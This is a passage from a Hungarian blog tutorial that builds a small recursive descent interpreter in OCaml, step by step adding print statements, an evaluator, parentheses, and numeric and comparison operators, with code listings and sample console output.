<li>a <code>TEOF</code> token következik, ami nem illeszkedik semmire, úgyhogy kiszállunk a <code>loop</code>-ból és a <code>parse_bool_expr</code>-ből is</li>
<li>a <code>parse_program</code> látja a <code>TEOF</code>-ot és ez boldogsággal tölti el</li>
</ol>
<p>Persze előfordulhat olyan eset is, ahol a <code>parse_program</code> már nem ilyen boldog. Mondjuk próbáljuk ki azt, hogy <code>false not and true</code>:</p>
<pre class="console"><code>$ ocaml main.ml
TBool(false); TBoolNot; TBoolAnd; TBool(true); TEOF
Parse error: Unexpected token 'TBoolNot'
</code></pre>
<p>Ennek a lépésnek a <a href="https://github.com/deadlime/the-recursive-descent/compare/operators..parser">módosításai megtekinthetőek itt</a>.</p>
<p>A programunk jelenleg egy darab kifejezésből áll, amit ugyan ki lehetne értékelni, de senki nem kezd semmit ezzel az értékkel. Szükségünk lenne egy utasításra.</p>
<p><a name="5"></a></p>
<h3>Utasítások</h3>
<p>Az első felmerülő gondolatom az volt, hogy jó lenne, ha valami kimenetet is tudna generálni a programunk. Ennek tükrében a <code>print</code> egy remek választásnak tűnik, mint első utasítás.</p>
<p>Újra alkalmunk van meghozni egy rakás döntést a szintaktikával kapcsolatban. Én azzal mentem, hogy az utasításokat új sorok választják el egymástól, nincs erre külön karakter bevezetve (mint például a klasszikus <code>;</code>). Az utasítás pedig függvényhívásként fog kinézni: <code>print(kifejezés)</code>.</p>
<p>Először is szükségünk lesz néhány új tokenre:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> token =
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">TLeftParen</span>
  | <span class="hljs-type">TRightParen</span>
  | <span class="hljs-type">TNewLine</span>
  | <span class="hljs-type">TIdentifier</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">string</span>
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>Innentől az új sor is egy token lesz, mivel van nyelvi jelentősége. A <code>TIdentifier</code> egy általános azonosító lesz, amit a <code>print</code>-re is használni fogunk. A <code>(*</code> és <code>*)</code> pedig a kommenteket hivatott jelölni OCaml-ben, úgyhogy azok csak a meglévő részek helyett vannak, hogy ne kelljen mindent ismételni.</p>
<p>Természetesen a <code>show_token</code>-t is frissítenünk kell az új érkezőkkel:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> show_token token =
  <span class="hljs-keyword">match</span> token <span class="hljs-keyword">with</span>
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">TLeftParen</span> -&gt; <span class="hljs-string">"TLeftParen"</span>
  | <span class="hljs-type">TRightParen</span> -&gt; <span class="hljs-string">"TRightParen"</span>
  | <span class="hljs-type">TNewLine</span> -&gt; <span class="hljs-string">"TNewLine"</span>
  | <span class="hljs-type">TIdentifier</span> s -&gt; <span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"TIdentifier(%s)"</span> s
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>Eddig talán semmi meglepő. A lexikális elemzőnk <code>tokenize_name</code> része egyszerűsödik egy kicsit, mivel innentől minden alfabetikus azonosítót elfogadunk a lexikális elemzés szintjén:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> tokenize_name ls =
  <span class="hljs-comment">(* ... *)</span>
  <span class="hljs-keyword">match</span> name <span class="hljs-keyword">with</span>
  | <span class="hljs-string">"true"</span>  -&gt; <span class="hljs-type">TBool</span> <span class="hljs-literal">true</span>
  | <span class="hljs-string">"false"</span> -&gt; <span class="hljs-type">TBool</span> <span class="hljs-literal">false</span>
  | <span class="hljs-string">"and"</span>   -&gt; <span class="hljs-type">TBoolAnd</span>
  | <span class="hljs-string">"or"</span>    -&gt; <span class="hljs-type">TBoolOr</span>
  | <span class="hljs-string">"not"</span>   -&gt; <span class="hljs-type">TBoolNot</span>
  | _       -&gt; <span class="hljs-type">TIdentifier</span> name
</code></pre>
<p>Az ismeretlen azonosítók innentől a szintaktikai elemzés során fognak hibát dobni.</p>
<p>A <code>tokenize</code> mintaillesztését is módosítanunk kell egy kicsit, hogy támogassuk az új nyelvi elemeket.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">match</span> current_char ls <span class="hljs-keyword">with</span>
| <span class="hljs-string">' '</span> | <span class="hljs-string">'\t'</span> | <span class="hljs-string">'\r'</span> -&gt;
  step ls;
  loop tokens
| <span class="hljs-string">'\n'</span> -&gt;
  step_line ls;
  loop (<span class="hljs-type">TNewLine</span> :: tokens)
| <span class="hljs-string">'('</span> -&gt;
  step ls;
  loop (<span class="hljs-type">TLeftParen</span> :: tokens)
| <span class="hljs-string">')'</span> -&gt;
  step ls;
  loop (<span class="hljs-type">TRightParen</span> :: tokens)
| <span class="hljs-string">'a'</span>..<span class="hljs-string">'z'</span> -&gt;
  loop (tokenize_name ls :: tokens)
| c -&gt;
  raise (<span class="hljs-type">LexError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Unexpected character '%c' on line %d col %d"</span> c ls.line ls.col))
</code></pre>
<p>Az új sor karakterre már nem csak léptetünk, ezen kívül kezeljük a nyitó- és csukó zárójeleket is.</p>
<p>A szintaxis fa egy új típussal bővül az utasításokhoz, aminek a <code>print</code> lesz az első tagja.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> stmt =
  | <span class="hljs-type">SPrint</span> <span class="hljs-keyword">of</span> expr
</code></pre>
<p>A könnyebb debuggolás érdekében ide sem árt a kapcsolódó <code>show_stmt</code> függvény:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> show_stmt s =
  <span class="hljs-keyword">match</span> s <span class="hljs-keyword">with</span>
  | <span class="hljs-type">SPrint</span> e -&gt; <span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"SPrint(%s)"</span> (show_expr e)
</code></pre>
<p>A szintaktika elemzéshez szükségünk lesz két új segéd függvényre:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> expect ps tok =
  <span class="hljs-keyword">let</span> t = consume ps <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">if</span> t &lt;&gt; tok <span class="hljs-keyword">then</span>
    raise (<span class="hljs-type">ParseError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Unexpected token '%s', expected '%s'"</span> (show_token t) (show_token tok)))

<span class="hljs-keyword">let</span> skip_newlines ps =
  <span class="hljs-keyword">while</span> peek ps = <span class="hljs-type">TNewLine</span> <span class="hljs-keyword">do</span> ignore (consume ps) <span class="hljs-keyword">done</span>
</code></pre>
<p>Az <code>expect</code> hibát dob, ha a következő token nem az, mint amire számítunk. A <code>skip_newlines</code> segítségével pedig az üres sorokat hagyhatjuk figyelmen kívül.</p>
<p>A jó hír az, hogy a <code>parse_expr</code> rekurziós láncunkhoz nem is kell hozzányúlnunk. Egy új láncot indítunk:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> parse_stmts ps =
  <span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> loop stmts =
    skip_newlines ps;
    <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
    | <span class="hljs-type">TEOF</span> -&gt; ignore (consume ps); stmts
    | _ -&gt; loop (parse_stmt ps :: stmts)
  <span class="hljs-keyword">in</span>

  <span class="hljs-type">List</span>.rev (loop <span class="hljs-literal">[]</span>)
</code></pre>
<p>A rekurzív szerkezet már ismerős lehet a <code>tokenize</code>-ból, az üres sorokat ignoráljuk, a fájl vége esetén kiszállunk a rekurzióból, egyébként pedig feldolgozzuk a következő utasítást és hozzácsapjuk a lista elejéhez. A végén pedig itt is meg kell fordítanunk a listát.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_stmt ps =
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  | <span class="hljs-type">TIdentifier</span> <span class="hljs-string">"print"</span> -&gt;
    ignore (consume ps);
    expect ps <span class="hljs-type">TLeftParen</span>;
    <span class="hljs-keyword">let</span> expr = parse_expr ps <span class="hljs-keyword">in</span>
    expect ps <span class="hljs-type">TRightParen</span>;
    <span class="hljs-type">SPrint</span>(expr)
  | t -&gt; raise (<span class="hljs-type">ParseError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Unexpected token '%s'"</span> (show_token t)))
</code></pre>
<p>A hozzá tartozó <code>parse_stmt</code>, ami a <code>print</code> azonosítót kezeli. Az azonosító után egy nyitó zárójelnek kell következnie, ami után egy kifejezésre számítunk, amit egy csukó zárójel zár le. Egyéb utasításokat még nem kezelünk, úgyhogy minden másra hibát dobunk (ide vándorolt át a <code>tokenize_name</code>-ben megszüntetett kivétel dobás).</p>
<p>Ezek után a <code>parse_program</code> igényel még némi egyszerűsítést:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> parse_program tokens =
  <span class="hljs-keyword">let</span> ps = make_parser tokens <span class="hljs-keyword">in</span>
  parse_stmts ps
</code></pre>
<p>És a &quot;main&quot; függvényünk is módosul egy picit:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-literal">()</span> =
  <span class="hljs-keyword">let</span> src = {|print(<span class="hljs-literal">false</span> <span class="hljs-keyword">or</span> <span class="hljs-literal">true</span>)

print(<span class="hljs-literal">false</span>)|} <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">try</span>
    <span class="hljs-keyword">let</span> tokens = tokenize src <span class="hljs-keyword">in</span>
    print_endline (<span class="hljs-type">String</span>.concat <span class="hljs-string">"; "</span> (<span class="hljs-type">List</span>.map show_token tokens));
    <span class="hljs-keyword">let</span> stmts = parse_program tokens <span class="hljs-keyword">in</span>
    print_endline (<span class="hljs-type">String</span>.concat <span class="hljs-string">"\n"</span> (<span class="hljs-type">List</span>.map show_stmt stmts));
  <span class="hljs-keyword">with</span>
  | <span class="hljs-type">LexError</span> e -&gt; print_endline (<span class="hljs-string">"Fatal error: "</span> ^ e)
  | <span class="hljs-type">ParseError</span> e -&gt; print_endline (<span class="hljs-string">"Parse error: "</span> ^ e)
</code></pre>
<p>Kimenetként pedig a következőt kell látnunk:</p>
<pre class="console"><code>$ ocaml main.ml
TIdentifier(print); TLeftParen; TBool(false); TBoolOr; TBool(true); TRightParen; TNewLine; TNewLine; TIdentifier(print); TLeftParen; TBool(false); TRightParen; TEOF
SPrint(EBoolOr(EBool(false), EBool(true)))
SPrint(EBool(false))
</code></pre>
<p>Ennek a lépésnek a <a href="https://github.com/deadlime/the-recursive-descent/compare/parser..statements">módosításai megtekinthetőek itt</a>.</p>
<p>Most már nem csak egy szintaxis fánk van, hanem soronként egy, egy nagyobb programnál egy egész szintaxis erdőt növesztünk.</p>
<p>Ezzel sikerült eljutnunk egy olyan pontra, ahol már van mit érdemben kiértékelni, ha lefuttatnánk ezt a programot, akkor látható eredménye lenne. Kezdjük is el a kiértékelést.</p>
<p><a name="6"></a></p>
<h3>A kiértékelő</h3>
<p>A kiértékelő utasításonként megy végig a szintaxis fákon és hajtja végre őket.</p>
<p>Meglepő módon ez a lépés is azzal indul, hogy csinálunk egy új típust és megírjuk a hozzá tartozó <code>show_</code> függvényt:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> <span class="hljs-keyword">value</span> =
  | <span class="hljs-type">VBool</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">bool</span>

<span class="hljs-keyword">let</span> show_value v =
  <span class="hljs-keyword">match</span> v <span class="hljs-keyword">with</span>
  | <span class="hljs-type">VBool</span> b -&gt; <span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"%B"</span> b
</code></pre>
<p>Jöhet a kifejezések kiértékelése.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> eval expr =
  <span class="hljs-keyword">match</span> expr <span class="hljs-keyword">with</span>
  | <span class="hljs-type">EBool</span> b -&gt; <span class="hljs-type">VBool</span> b
  | <span class="hljs-type">EBoolNot</span> e -&gt;
    (<span class="hljs-keyword">match</span> eval e <span class="hljs-keyword">with</span>
    | <span class="hljs-type">VBool</span> b -&gt; <span class="hljs-type">VBool</span> (not b))
  | <span class="hljs-type">EBoolAnd</span> (l, r) -&gt;
    (<span class="hljs-keyword">match</span> eval l, eval r <span class="hljs-keyword">with</span>
    | <span class="hljs-type">VBool</span> a, <span class="hljs-type">VBool</span> b -&gt; <span class="hljs-type">VBool</span> (a &amp;&amp; b))
  | <span class="hljs-type">EBoolOr</span> (l, r) -&gt;
    (<span class="hljs-keyword">match</span> eval l, eval r <span class="hljs-keyword">with</span>
    | <span class="hljs-type">VBool</span> a, <span class="hljs-type">VBool</span> b -&gt; <span class="hljs-type">VBool</span> (a || b))
</code></pre>
<p>Nem meglepő, hogy itt is mintaillesztéssel és rekurzióval operálunk. Mivel boolean típuson kívül mással még nem rendelkezünk, az <code>eval</code>-ban lévő mintaillesztések egy kicsit furán hathatnak, de később még jól fognak jönni.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> exec stmt =
  <span class="hljs-keyword">match</span> stmt <span class="hljs-keyword">with</span>
  | <span class="hljs-type">SPrint</span> e -&gt;
    print_endline (show_value (eval e))
</code></pre>
<p>Az <code>exec</code>-ben a <code>print_endline</code> egy beépített függvény, a <code>show_value</code>-t pedig végre már nem csak debuggolási céllal használjuk, hanem a tényleges kód kiértékelés során.</p>
<p>Már csak a &quot;main&quot; függvény módosítása maradt hátra, hogy végrehajtsuk az utasításokat:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-literal">()</span> =
  <span class="hljs-keyword">let</span> src = {|print(<span class="hljs-literal">false</span> <span class="hljs-keyword">or</span> not <span class="hljs-literal">true</span>)

print(not <span class="hljs-literal">false</span> <span class="hljs-keyword">and</span> <span class="hljs-literal">true</span>)|} <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">try</span>
    <span class="hljs-keyword">let</span> tokens = tokenize src <span class="hljs-keyword">in</span>
    <span class="hljs-keyword">let</span> stmts = parse_program tokens <span class="hljs-keyword">in</span>
    <span class="hljs-type">List</span>.iter exec stmts
  <span class="hljs-keyword">with</span>
  | <span class="hljs-type">LexError</span> e -&gt; print_endline (<span class="hljs-string">"Fatal error: "</span> ^ e)
  | <span class="hljs-type">ParseError</span> e -&gt; print_endline (<span class="hljs-string">"Parse error: "</span> ^ e)
</code></pre>
<p>A kimenet pedig reményeink szerint az lesz, amire számítunk:</p>
<pre class="console"><code>$ ocaml main.ml
false
true
</code></pre>
<p>Ennek a lépésnek a <a href="https://github.com/deadlime/the-recursive-descent/compare/statements..evaluator">módosításai megtekinthetőek itt</a>.</p>
<p>Tulajdonképpen van egy kész programunk, ami boolean kifejezéseket tud kiértékelni és kiírja az eredményüket. De azért kár lenne itt megállni.</p>
<p><a name="7"></a></p>
<h3>Zárójelezés</h3>
<p>Jelenleg, ha megpróbáljuk futtatni a <code>print(not (false or not true))</code> programot, akkor a következő hibát kapjuk:</p>
<pre class="console"><code>$ ocaml main.ml
Parse error: Unexpected token 'TLeftParen'
</code></pre>
<p>Sajnos a nyelv hibakezelése nem segít megérteni, hogy honnan jön pontosan a hiba, de joggal gyanakodhatunk a <code>parse_primary</code> függvényre. Szóval ha szeretnénk támogatni a tetszőleges zárójelezhetőséget, akkor felvehetünk a kifejezés feldolgozó láncba egy új függvényt:</p>
<ol>
<li>típusok értelmezése (<code>parse_primary</code>)</li>
<li><strong>zárójelezés</strong> (<code>parse_bracketing</code>)</li>
<li>boolean <code>not</code> operátor (<code>parse_bool_unary</code>)</li>
<li>boolean <code>and</code> és <code>or</code> operátor (<code>parse_bool_expr</code>)</li>
</ol>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_bracketing ps =
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  | <span class="hljs-type">TLeftParen</span> -&gt;
    ignore (consume ps);
    <span class="hljs-keyword">let</span> expr = parse_expr ps <span class="hljs-keyword">in</span>
    expect ps <span class="hljs-type">TRightParen</span>;
    expr
  | _ -&gt; parse_primary ps
</code></pre>
<p>Nem feltétlen kellene az új függvény, elég lenne egy új ág a <code>parse_primary</code> mintaillesztésében is, de úgy érzem ez így jobban kifejezi a műveleti sorrendet.</p>
<p>A módosításunk után már a megfelelő kimenetet fogjuk kapni:</p>
<pre class="console"><code>$ ocaml main.ml
true
</code></pre>
<p>Ennek a lépésnek a <a href="https://github.com/deadlime/the-recursive-descent/compare/evaluator..bracketing">módosításai megtekinthetőek itt</a>.</p>
<p>Ez azért elég menő, hogy kevesebb, mint tíz sornyi kóddal implementáltuk a tetszőleges zárójelezhetőséget. Ideje valami nagyobb szintaxis fába vágni a fejszénket.</p>
<p><a name="8"></a></p>
<h3>Számos lehetőség</h3>
<p>Van egy működő folyamatunk, ami értelmezni és futtatni tudja a kapott nyers szöveget. Egy új típus, mondjuk a számok hozzáadása már nem jelent különösebb meglepetést kód szinten. Az összes réteghez hozzá kell nyúlnunk ugyan, de a módosítások egyszerűek, még ha viszonylag sok kóddal is járnak. Először is a tokenek:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> token =
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">TNumber</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">float</span>
  | <span class="hljs-type">TLt</span>
  | <span class="hljs-type">TLtEq</span>
  | <span class="hljs-type">TGt</span>
  | <span class="hljs-type">TGtEq</span>
  | <span class="hljs-type">TEq</span>
  | <span class="hljs-type">TNotEq</span>
  | <span class="hljs-type">TPlus</span>
  | <span class="hljs-type">TMinus</span>
  | <span class="hljs-type">TAsterisk</span>
  | <span class="hljs-type">TSlash</span>
  | <span class="hljs-type">TPercent</span>
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>Jó sok új token, implementálni fogjuk a <code>&lt;</code>, <code>&lt;=</code>, <code>&gt;</code>, <code>&gt;=</code>, <code>==</code>, <code>&lt;&gt;</code> összehasonlító operátorokat és a <code>+</code>, <code>-</code>, <code>*</code>, <code>/</code>, <code>%</code> aritmetikai operátorokat is. Természetesen a <code>show_token</code> függvényt is bővíteni kell, de ezt mindenki képzeletére bízom az előző bővítések alapján.</p>
<p>A lexikális elemző mintaillesztése a <code>tokenize</code> függvényben a következőkkel bővül:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">match</span> current_char ls <span class="hljs-keyword">with</span>
<span class="hljs-comment">(* ... *)</span>
| <span class="hljs-string">'+'</span> -&gt; step ls; loop (<span class="hljs-type">TPlus</span> :: tokens)
| <span class="hljs-string">'-'</span> -&gt; step ls; loop (<span class="hljs-type">TMinus</span> :: tokens)
| <span class="hljs-string">'*'</span> -&gt; step ls; loop (<span class="hljs-type">TAsterisk</span> :: tokens)
| <span class="hljs-string">'/'</span> -&gt; step ls; loop (<span class="hljs-type">TSlash</span> :: tokens)
| <span class="hljs-string">'%'</span> -&gt; step ls; loop (<span class="hljs-type">TPercent</span> :: tokens)
| <span class="hljs-string">'&lt;'</span> -&gt;
  step ls;
  (<span class="hljs-keyword">match</span> current_char ls <span class="hljs-keyword">with</span>
  | <span class="hljs-string">'='</span> -&gt; step ls; loop (<span class="hljs-type">TLtEq</span> :: tokens)
  | <span class="hljs-string">'&gt;'</span> -&gt; step ls; loop (<span class="hljs-type">TNotEq</span> :: tokens)
  | _   -&gt; loop (<span class="hljs-type">TLt</span> :: tokens))
| <span class="hljs-string">'&gt;'</span> -&gt;
  step ls;
  (<span class="hljs-keyword">match</span> current_char ls <span class="hljs-keyword">with</span>
  | <span class="hljs-string">'='</span> -&gt; step ls; loop (<span class="hljs-type">TGtEq</span> :: tokens)
  | _   -&gt; loop (<span class="hljs-type">TGt</span> :: tokens))
| <span class="hljs-string">'='</span> -&gt;
  step ls;
  (<span class="hljs-keyword">match</span> current_char ls <span class="hljs-keyword">with</span>
  | <span class="hljs-string">'='</span> -&gt; step ls; loop (<span class="hljs-type">TEq</span> :: tokens)
  | c   -&gt; raise (<span class="hljs-type">LexError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Unexpected character '%c' on line %d col %d"</span> c ls.line ls.col)))
| <span class="hljs-string">'0'</span> .. <span class="hljs-string">'9'</span> -&gt;
  loop (tokenize_number ls :: tokens)
<span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>Apró újdonság itt, hogy egyes operátorokhoz két karaktert együtt kell néznünk. Valamint nincs még <code>=</code> operátorunk, úgyhogy arra még hibát dobunk.</p>
<p>Ezzel bevezettünk egy érdekes bug-ot is: a <code>step ls</code> utáni <code>current_char</code> hívás nem ellenőrzi, hogy vége van-e a forráskódnak, így előfordulhat, hogy egy nem várt OCaml kivételt kapunk (<code>Invalid_argument &quot;index out of bounds&quot;.</code>) olyan egyébként is hibás inputra, mint például a <code>print(1 &lt;</code>.</p>
<p>A <code>tokenize_number</code> kísértetiesen hasonlít a korábbi <code>tokenize_name</code> függvényre, csak éppen számokkal:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> tokenize_number ls =
  <span class="hljs-keyword">let</span> is_number_char ch = ch &gt;= <span class="hljs-string">'0'</span> &amp;&amp; ch &lt;= <span class="hljs-string">'9'</span> || ch == <span class="hljs-string">'.'</span> <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">let</span> start = ls.pos <span class="hljs-keyword">in</span>

  <span class="hljs-keyword">while</span> ls.pos &lt; ls.len &amp;&amp; is_number_char (current_char ls) <span class="hljs-keyword">do</span>
    step ls
  <span class="hljs-keyword">done</span>;

  <span class="hljs-type">TNumber</span> (float_of_string (<span class="hljs-type">String</span>.sub ls.src start (ls.pos - start)))
</code></pre>
<p>A szintaxis fa is bővül az új operátorokhoz szükséges elemekkel:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> expr =
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">ENumber</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">float</span>
  | <span class="hljs-type">EGt</span> <span class="hljs-keyword">of</span> expr * expr
  | <span class="hljs-type">EGtEq</span> <span class="hljs-keyword">of</span> expr * expr
  | <span class="hljs-type">ELt</span> <span class="hljs-keyword">of</span> expr * expr
  | <span class="hljs-type">ELtEq</span> <span class="hljs-keyword">of</span> expr * expr
  | <span class="hljs-type">EEq</span> <span class="hljs-keyword">of</span> expr * expr
  | <span class="hljs-type">ENotEq</span> <span class="hljs-keyword">of</span> expr * expr
  | <span class="hljs-type">EAdd</span> <span class="hljs-keyword">of</span> expr * expr
  | <span class="hljs-type">ESub</span> <span class="hljs-keyword">of</span> expr * expr
  | <span class="hljs-type">EMul</span> <span class="hljs-keyword">of</span> expr * expr
  | <span class="hljs-type">EDiv</span> <span class="hljs-keyword">of</span> expr * expr
  | <span class="hljs-type">EMod</span> <span class="hljs-keyword">of</span> expr * expr
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>Visszajutottunk a szintaktikai elemzőhöz, így ismét felmerül a műveleti sorrend kérdése. Az új operátorok így illeszkednek bele a jelenlegi rendszerünkbe:</p>
<ol>
<li>típusok értelmezése (<code>parse_primary</code>)</li>
<li>zárójelezés (<code>parse_bracketing</code>)</li>
<li><strong>szorzás és osztás</strong> (<code>parse_mul_div</code>)</li>
<li><strong>összeadás és kivonás</strong> (<code>parse_add_sub</code>)</li>
<li><strong>összehasonlító operátorok</strong> (<code>parse_comparison</code>)</li>
<li>boolean <code>not</code> operátor (<code>parse_bool_unary</code>)</li>
<li>boolean <code>and</code> és <code>or</code> operátor (<code>parse_bool_expr</code>)</li>
</ol>
<p>Szóval a <code>parse_bool_unary</code> után kell beszúrnunk a láncba három új függvényt:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_comparison ps =
  <span class="hljs-keyword">let</span> left = parse_add_sub ps <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  | <span class="hljs-type">TLt</span>    -&gt; ignore (consume ps); <span class="hljs-type">ELt</span> (left, parse_add_sub ps)
  | <span class="hljs-type">TLtEq</span>  -&gt; ignore (consume ps); <span class="hljs-type">ELtEq</span> (left, parse_add_sub ps)
  | <span class="hljs-type">TGt</span>    -&gt; ignore (consume ps); <span class="hljs-type">EGt</span> (left, parse_add_sub ps)
  | <span class="hljs-type">TGtEq</span>  -&gt; ignore (consume ps); <span class="hljs-type">EGtEq</span> (left, parse_add_sub ps)
  | <span class="hljs-type">TEq</span>    -&gt; ignore (consume ps); <span class="hljs-type">EEq</span> (left, parse_add_sub ps)
  | <span class="hljs-type">TNotEq</span> -&gt; ignore (consume ps); <span class="hljs-type">ENotEq</span> (left, parse_add_sub ps)
  | _ -&gt; left
</code></pre>
<p>Hasonló a szerkezete a korábbiakhoz, nem hívja saját magát rekurzívan, mert nem akartam támogatni a <code>1 &lt; 2 &gt;= 0 == 0</code> jellegű kifejezéseket. Vannak nyelvek, amik ezt részben támogatják (például Python-ban az <code>a &lt; b &lt; c</code> formátum működik), ez pusztán csak ízlés kérdése.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_add_sub ps =
  <span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> loop left =
    <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
    | <span class="hljs-type">TPlus</span>  -&gt; ignore (consume ps); loop (<span class="hljs-type">EAdd</span> (left, parse_mul_div ps))
    | <span class="hljs-type">TMinus</span> -&gt; ignore (consume ps); loop (<span class="hljs-type">ESub</span> (left, parse_mul_div ps))
    | _ -&gt; left
  <span class="hljs-keyword">in</span>
  loop (parse_mul_div ps)
</code></pre>
<p>Itt megvan az említett belső rekurzív <code>loop</code>, úgyhogy írhatunk olyat, hogy <code>1 + 2 + 3 - 4</code>, ami aztán balról jobbra fog kiértékelődni.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_mul_div ps =
  <span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> loop left =
    <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
    | <span class="hljs-type">TAsterisk</span> -&gt; ignore (consume ps); loop (<span class="hljs-type">EMul</span> (left, parse_bracketing ps))
    | <span class="hljs-type">TSlash</span>    -&gt; ignore (consume ps); loop (<span class="hljs-type">EDiv</span> (left, parse_bracketing ps))
    | <span class="hljs-type">TPercent</span>  -&gt; ignore (consume ps); loop (<span class="hljs-type">EMod</span> (left, parse_bracketing ps))
    | _ -&gt; left
  <span class="hljs-keyword">in</span>
  loop (parse_bracketing ps)
</code></pre>
<p>A szorzás-osztás változatához nem lehet sok mindent hozzáfűzni, ugyanaz a logika, mint az összeadás-kivonásnál, csak a láncban utánunk következő függvényt hívjuk meg benne.</p>
<p>Még egy apró pici módosítás a <code>parse_primary</code> függvényben.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_primary ps =
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  | <span class="hljs-type">TBool</span> b -&gt; ignore (consume ps); <span class="hljs-type">EBool</span> b
  | <span class="hljs-type">TNumber</span> n -&gt; ignore (consume ps); <span class="hljs-type">ENumber</span> n
  | t -&gt; raise (<span class="hljs-type">ParseError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Unexpected token '%s'"</span> (show_token t)))
</code></pre>
<p>A <code>TBool</code>-hoz hasonlóan lekezeljük a <code>TNumber</code> típusunkat is.</p>
<p>Ezzel vissza is értünk a kiértékeléshez. Természetesen bővül a <code>value</code> típus és a hozzá tartozó <code>show_value</code> függvény:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">exception</span> <span class="hljs-type">RuntimeError</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">string</span>

<span class="hljs-keyword">type</span> <span class="hljs-keyword">value</span> =
  | <span class="hljs-type">VBool</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">bool</span>
  | <span class="hljs-type">VNumber</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">float</span>

<span class="hljs-keyword">let</span> show_value v =
  <span class="hljs-keyword">match</span> v <span class="hljs-keyword">with</span>
  | <span class="hljs-type">VBool</span> b -&gt; string_of_bool b
  | <span class="hljs-type">VNumber</span> n -&gt;
    <span class="hljs-keyword">if</span> <span class="hljs-type">Float</span>.is_integer n <span class="hljs-keyword">then</span> string_of_int (int_of_float n)
    <span class="hljs-keyword">else</span> string_of_float n
</code></pre>
<p>Aztán kiegészül az <code>eval</code> is:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> eval expr =
  <span class="hljs-keyword">match</span> expr <span class="hljs-keyword">with</span>
  | <span class="hljs-type">EBool</span> b -&gt; <span class="hljs-type">VBool</span> b
  | <span class="hljs-type">ENumber</span> b -&gt; <span class="hljs-type">VNumber</span> b
  | <span class="hljs-type">EBoolNot</span> e -&gt;
    (<span class="hljs-keyword">match</span> eval e <span class="hljs-keyword">with</span>
    | <span class="hljs-type">VBool</span> b -&gt; <span class="hljs-type">VBool</span> (not b)
    | _ -&gt; raise (<span class="hljs-type">RuntimeError</span> <span class="hljs-string">"Invalid type"</span>))
  | <span class="hljs-type">EBoolAnd</span> (l, r) -&gt; eval_bool_arithmetic ( &amp;&amp; ) l r
  | <span class="hljs-type">EBoolOr</span> (l, r)  -&gt; eval_bool_arithmetic ( || ) l r
  | <span class="hljs-type">EGt</span> (l, r)      -&gt; eval_comparison ( &gt; ) l r
  | <span class="hljs-type">EGtEq</span> (l, r)    -&gt; eval_comparison ( &gt;= ) l r
  | <span class="hljs-type">ELt</span> (l, r)      -&gt; eval_comparison ( &lt; ) l r
